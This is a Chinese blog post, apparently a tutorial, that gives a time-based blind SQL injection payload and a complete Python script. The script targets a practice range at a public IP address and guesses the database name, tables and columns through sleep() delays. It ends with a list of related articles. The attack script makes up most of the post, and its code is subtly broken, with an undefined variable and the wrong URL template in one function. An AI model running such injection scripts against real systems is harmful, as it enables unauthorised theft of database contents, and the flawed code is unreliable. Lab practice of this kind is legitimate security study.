http://43.247.91.228:84/Less-1/?id=1' and if (length(database())=8,sleep(5),0) --+
注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立
即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
 import requests

 #################################################################
# http://43.247.91.228:84/Less-1是靶场地址
################################################################# url1 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(length(database())={_}, sleep(3), 0) --+" url2 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+" url3 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((select count(*) from information_schema.tables \
where table_schema={_})={__}, sleep(3), 0) --+" url4 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema={_}), \
{__},1)))={___}, sleep(3), 0) --+" url5 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr((select group_concat(COLUMN_NAME) from \
information_schema.COLUMNS where table_name = {_}), \
{__}, 1))={___}, sleep(3), 0) --+" #################################################################
# 函数功能:猜解数据库名的长度
# 参数意义:n 长度范围
# 返回结果:成功:数据库名长度
#    失败:0
#################################################################
def getLength(n):
for i in range(1, n + 1):
payload = url1.format( _ = i)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解数据库名
# 参数意义:length 数据库名的长度
# 返回结果:成功:数据库名字符串
#   失败:空字符串
#################################################################
def getName(length):
database = "" #数据库名初始化为空字符串
for i in range(1, length + 1):
for j in range(1, 128):
payload = url2.format( _ = i, __ = j)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
database += chr(j)
break
else:
continue
return (database) #################################################################
# 函数功能:猜解数据库中表的数量
# 参数意义:database 数据库名
#   n 表的数量范围
# 返回结果:成功:表的数量
#   失败:0
#################################################################
def getTablesNum(database, n):
for i in range(1, n + 1):
payload = url3.format( _ = " '"+ database + "'", __ = i)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解表名
# 参数意义:database 数据库名
#   nameLengthTotal 所有表名的字符数及
#    逗号分隔符数之和(
#   表名之间用逗号分隔)
# 返回结果:所有表名的list数组
#################################################################
def getTablesName(database, nameLengthTotal):
tables = []
table = ""
for i in range(1, nameLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ database + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
table += chr(j)
break
else:
continue
tb = table.split(",")
for t in tb:
tables.append(t)
return (tables) #################################################################
# 函数功能:猜解某个表的字段名
# 参数意义:table 表名
#   attributeLengthTotal 全部字段名的字符数及用于分
#   割的逗号数之和(字段名之间
#    用逗号分割)的范围
# 返回结果:字段名字符串list数组
#################################################################
def getTableAttributes(table, attributeLengthTotal):
attributes = []
attribute = ""
for i in range(1, attributeLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ table + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
attribute += chr(j)
break
else:
continue
ab = attribute.split(",")
for a in ab:
attributes.append(a)
return attributes #################################################################
#
# 主函数
#
#################################################################
if __name__=="__main__":
#猜解数据库名的长度
length = getLength(10)
#猜解数据库名
database = getName(length)
#猜解表的数量
tablesNum = getTablesNum(database, 10)
#猜解表名
tables = getTablesName(database, tableNum*8)
print ("数据库名的长度为:" + str(length))
print ("数据库名为:" + database)
print ("数据库中表的数量为:" + str(tablesNum))
print ("数据库中的表如下:")
for table in tables:
print (table)
print ("各个表的字段名如下:")
for table in tables:
print (table)
#猜解各个表的字段名
attributes = getTableAttributes(table, 100)
for attribute in attributes:
print (attribute)

猜解数据库(MYSQL)信息的更多相关文章

  1. python辅助sql手工注入猜解数据库案例分析

    发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...

  2. MySQL查看数据库相关信息

    使用MySQL时,需要了解当前数据库的情况,例如当前的数据库大小.字符集.用户等等.下面总结了一些查看数据库相关信息的命令   1:查看显示所有数据库 mysql> show databases ...

  3. mysql数据库连接池使用(三)数据库元数据信息反射数据库获取数据库信息

    1.1. mysql数据库连接池使用(三)数据库元数据信息反射数据库获取数据库信息 有时候我们想要获取到数据库的基本信息,当前程序连接的那个数据库,数据库的版本信息,数据库中有哪些表,表中都有什么字段 ...

  4. Atitit mysql数据库统计信息

    Atitit mysql数据库统计信息 SELECT table_name, table_rows, index_length, data_length, auto_increment, create ...

  5. innodb和myisam数据库文件存储详解以及mysql表空间

    数据库常用的两种引擎有Innodb和Myisam,关于二者的区别参考:https://www.cnblogs.com/qlqwjy/p/7965460.html 1.关于数据库的存储在两种引擎的存储是 ...

  6. MySQL中 如何查询表名中包含某字段的表 ,查询MySql数据库架构信息:数据库,表,表字段

    --查询tablename 数据库中 以"_copy" 结尾的表 select table_name from information_schema.tables where ta ...

  7. [转]MySQL查看数据库相关信息

    原文链接:MySQL查看数据库相关信息 使用MySQL时,需要了解当前数据库的情况,例如当前的数据库大小.字符集.用户等等.下面总结了一些查看数据库相关信息的命令 1:查看显示所有数据库 mysql& ...

  8. Mysql信息数据库:Information_schema

    1. Information_schema information_schema是mysql的信息数据库. 通过该库能够查看mysql以下的数据库,表.权限等信息. 在数据库中会默认生成这个库.inf ...

  9. Python字典猜解

    摘要 目标 使用Python破解WordPress用户密码 使用Python破解zip压缩包密码 思路 通过表单提交项构建数据包,使用字典中的可选字符进行逐一排列组合暴力破解WordPress的用户密 ...

随机推荐

  1. C语言-指针深度分析

    1.变量回顾 程序中的变量只是—段存储空间的别名,那么是不 是必须通过这个别名才能使用这段存储空间? 2.思考 下面的程序输出什么?为什么? ;    int* p = &i;       p ...

  2. spring自动装配和通过java实现装配

    1.组建扫描 在类上添加注解@Component注解可以实现组建扫描 @Component public class A{ ... } 2.自动装配 通过在属性上或者方法上添加@Autowired注解 ...

  3. opencv3.3 基础:Mat类里setTo函数

    Mat& setTo(InputArray value, InputArray mask=noArray()); 说明: 1.功能:把矩阵mask中元素不为0的点全部变为value值: 2.当 ...

  4. Java-POJ1003-Hangover

    题目大意: 给出一个浮点数a,求出使得 不等式 1/2 + 1/3 + ... + 1/(n+1) ≥ a 成立的最小值 大水题,由于数据范围小,给出了确认上界5.20,满足二分答案 但是我懒啊,直接 ...

  5. HTML的链接标签

    网页的链接标签 文本超链接 图像超链接 格式:<a href="path" target="目标窗口位置" >链接文本或图像</a> 锚 ...

  6. beego 页面布局

    模板 this.Layout = "admin/layout.html" this.TplName = "admin/list.html" 在layout.ht ...

  7. html中实现数据的显示和隐藏

    Author: YangQingQing <!DOCTYPE html><html><meta http-equiv="Content-Type" c ...

  8. span标签间距

    最近在做的一个项目里面碰到这么一个问题: <p> <span>块1</span> <span>块2</span> </p> 在“ ...

  9. b 解题报告

    本题已收录至2019/9/15 本周总结 题目 [问题描述] Hja有一棵\(n\)个点的树,树上每个点有点权,每条边有颜色.一条路径的权值是这条路径上所有点的点权和,一条合法的路径需要满足该路径上任 ...

  10. CSS之浮动布局及相关问题

    CSS之浮动布局及相关问题   1.什么是浮动:       在我们布局的时候用到的一种技术,能够方便我们进行布局,默认流动布局有不足,让块元素可以并排显示,通过让元素浮动,我们可以使元素在水平上左右 ...